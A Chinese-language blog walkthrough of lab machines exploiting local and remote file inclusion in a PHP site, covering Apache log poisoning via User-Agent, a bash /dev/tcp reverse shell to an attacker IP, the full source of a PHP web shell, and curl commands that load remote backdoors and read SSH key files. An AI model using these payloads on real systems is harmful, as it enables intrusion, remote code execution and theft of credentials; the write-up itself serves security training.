文件包含漏洞 LFI & RFI

 文件包含漏洞 LFI

文件包含漏洞好容易跟目錄遍歷搞混,這裡有一個重點

目錄遍歷是只有讀的權限, 而文件包含漏洞允許在程序運行的代碼中 "包含" 文件

範例手法 : 注入 User-Agent 去包含目標主機本地的執行檔,透過執行輸出要的結果

靶機開始

首先先 rustscan

└─$ rustscan -a 192.168.241.16 --ulimit 5000 -t 8000 --scripts -- -n -Pn -sVC

掃完 22、80、2222 open


三個服務分別是

22 - OpenSSH 8.2p1

80 - Apache httpd 2.4.38

2222 - OpenSSH 7.9p1



這一版 Apache 2.4.38 設計成有  Path Traversal(目錄遍歷) 漏洞

路徑為 http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../var/log/apache2/access.log

透過 curl 測試如下可以看到 Log 內容結果



Burp Suite 也可以看到 Response 顯示 Log 內容



主要內容就是 Apache 紀錄 Client 的存取紀錄如下

<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>

192.168.63.1 - - [12/Apr/2022:10:34:55 +0000] "GET /meteor/ HTTP/1.1" 200 2361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36"

192.168.50.1 - - [12/Apr/2022:10:34:55 +0000] "GET /meteor/index.php?page=admin.php HTTP/1.1" 200 2218 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0"

192.168.63.1 - - [12/Apr/2022:10:34:55 +0000] "GET /meteor/css/bootstrap-theme.min.css HTTP/1.1" 200 2688 "http://192.168.63.131/meteor/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36"

192.168.63.1 - - [12/Apr/2022:10:34:55 +0000] "GET /meteor/css/fontAwesome.css HTTP/1.1" 200 7826 "http://192.168.63.131/meteor/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36"


也可以於網頁中看到 Output 在最下面



看到這種網頁輸出的表示會被執行,回到 XSS 攻擊觀念,最好用的就是 User-Agent 注入攻擊

先點一下 admin 連結,並送到 Burp Suite Repeater




開始老手法,修改 User-Agent,因為已經知道有 LFI 所以注入改成直接接對方機器的 cmd

執行語法 : <?php echo system($_GET['cmd']); ?>




送出後確認 200 OK 表示已經寫入 Log 檔案



再次存取 Apache Log 檔

路徑 : http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../var/log/apache2/access.log

可以透過 Burp Suite 修改 URI 並加上我們剛注入的 cmd ,帶上 cmd 語法如下

/meteor/index.php?page=../../../../../../../../../var/log/apache2/access.log&cmd=ps

標準在 Linux Terminal 下輸入 ps 如下圖,就是顯示 PID TTY TIME CMD 等值



我們在右邊可以看到成功輸出並顯示 ps 的結果,所以表示 LFI 命令注入是成功的




再來我們試著列舉檔案,將 cmd=ls -la

這次得到了 HTTP 400,看來該命令執行沒有成功




由於剛剛 ps 是成功的,但 ls -la 不成功,原因研判應該是是空格

所以我們將空格做 URL Encoding 換成 "%20" 再試一次試試看

這一次 HTTP 200 成功了




也成功看到 ls -la 的結果,如下圖右邊




滲透測試當找到漏洞就是要做到 interactive 互動式命令

所以先在攻擊主機建立一個接收的 remote shell

指令 : nc -nvlp 6666



要靶機執行連線 remote shell 的指令如下

指令 : bash -c "bash -i >& /dev/tcp/192.168.45.153/6666 0>&1"

但記得一樣要做過 URL Encoding


URL Encoding 後指令如下

bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.153%2F6666%200%3E%261%22

那就貼到 Burp Suite 然後送出吧



注意上圖沒有任何 Response,此時切換到接收 remote shell 的 terminal 查看
可以看到已經連接上來了,tty 測試一下發現不是 tty
快速 tty 指令下下去 "script -c /bin/bash -q /dev/null",再 tty 一次發現是 tty 了



若運行的對方系統是 xampp,則 log 檔案放在 C:\xampp\apache\logs\ 路徑下

一般是 C:\xampp\apache\logs\apache2\access.log

錯誤檔是 C:\xampp\apache\logs\error.log


我們這個靶機的目標是某個使用者 ariella 家目錄底下的 flag.txt

直接 cat 沒有權限,加上 sudo 後看來是 apache 的權限夠大,直接帶入就能讀取,靶機結束





靶機 2 : 目標很簡單就是 flag 存在 /opt/admin.bak.php 文件中

直接用目錄遍歷攻擊讀取該檔案,flag 就在 response 的 BODY 中





靶機 3 : 此為一台 Windows 的 XAMPP,目標在 C:\xampp\apache\logs\ 底下

一樣先測試 access.log 看看路徑在哪

透過 Burp Suite Repeater 順利找到 access.log 路徑與顯示如 response body



一樣開始注入,修改 User-Agent 注入 cmd=systeminfo 有看到結果表示成功



注入 cmd=whoami 看到是 system......送分題





dir 看到這個檔案.....取名取的真好 hopefullynobodyfindsthisfilebecauseitssupersecret.txt




因為是同一個路徑,連 remote shell 都不用,直接 type 一下答案就出來了






Remote File Inclusion (RFI)


接著來看到 RFI,R 顧名思義就是遠端,最常見的就是直接透過 HTTP 尤其是 Github 使用

近端就是透過 SMB 協定來達到

最簡單利用的就是 Kali 內建的 remote shell or back-door

靶機的開發語言是 php,那就直接利用 kali 內建的來使用

路徑在 /usr/share/webshel​​ls/php/目錄底下如下圖,可以看到好幾個

本次要利用的是 simple-backdoor.php




開啟檔案看一下內容,可以看到就是去 Call cmd

=======================================================================

<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->


<?php


if(isset($_REQUEST['cmd'])){

        echo "<pre>";

        $cmd = ($_REQUEST['cmd']);

        system($cmd);

        echo "</pre>";

        die;

}


?>


Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd


<!--    http://michaeldaw.org   2006    -->

=======================================================================





開始利用前本次用的是 HTTP RFI ,所以先在我們的攻擊機 kali 上建立 HTTP File Server

由於我們要提供的檔案路徑位於 /usr/share/webshel​​ls/php/ 所以我們直接建立一個

Web Server 然後將根目錄指到該目錄,簡單快速的建立方式就是使用 python http server

到該路徑底下執行指令 python3 -m http.server 80




執行完畢後我們 http://127.0.0.1 查看一下,就能看到等等要利用的檔案





由於靶機環境都是一樣的,這次要利用的是 RFI

所以我們直接針對漏洞可利用的 URI 進行 RFI 測試,語法如下

指令 : curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.45.153/simple-backdoor.php&cmd=ls"

如下圖 ls 正確列出目標靶機上的檔案





若是要使用 cat 命令查看 /home/elaine/.ssh/ 目錄中的 authorized_keys 文件內容

那就可以修改語法如下

└─$ curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.45.153/simple-backdoor.php&cmd=cat%20/home/elaine/.ssh/authorized_keys" 



另外我們去 Github 下載了一個 PHP Reverse Shell 放在 Dwonload 路徑下

這時候切換到該路徑再起 HTTP File Server




一樣開啟瀏覽器驗證一下,確認檔案如下





因為利用歸利用但無論考試或是實戰中,建立 reverse shell 才是真正重要的

所以我們先在攻擊機器起 4444 Port Listen





開啟檔案看一下,要修改目標是我們 Listen 的 IP & Port




然後就是直接開始 RFI

└─$ curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.45.153/php-reverse-shell.php" 


下面一執行上面 Remote Shell 就進來了





相同作法,確認 tty 然後開啟 tty




本次的目的是察看這個檔案 /home/guybrush/.treasure/flag.txt 

那就直接 cat 就得到我們的答案啦







留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

濫用 Windows 庫文件(Library File)

Challenge 0 - Secura(1)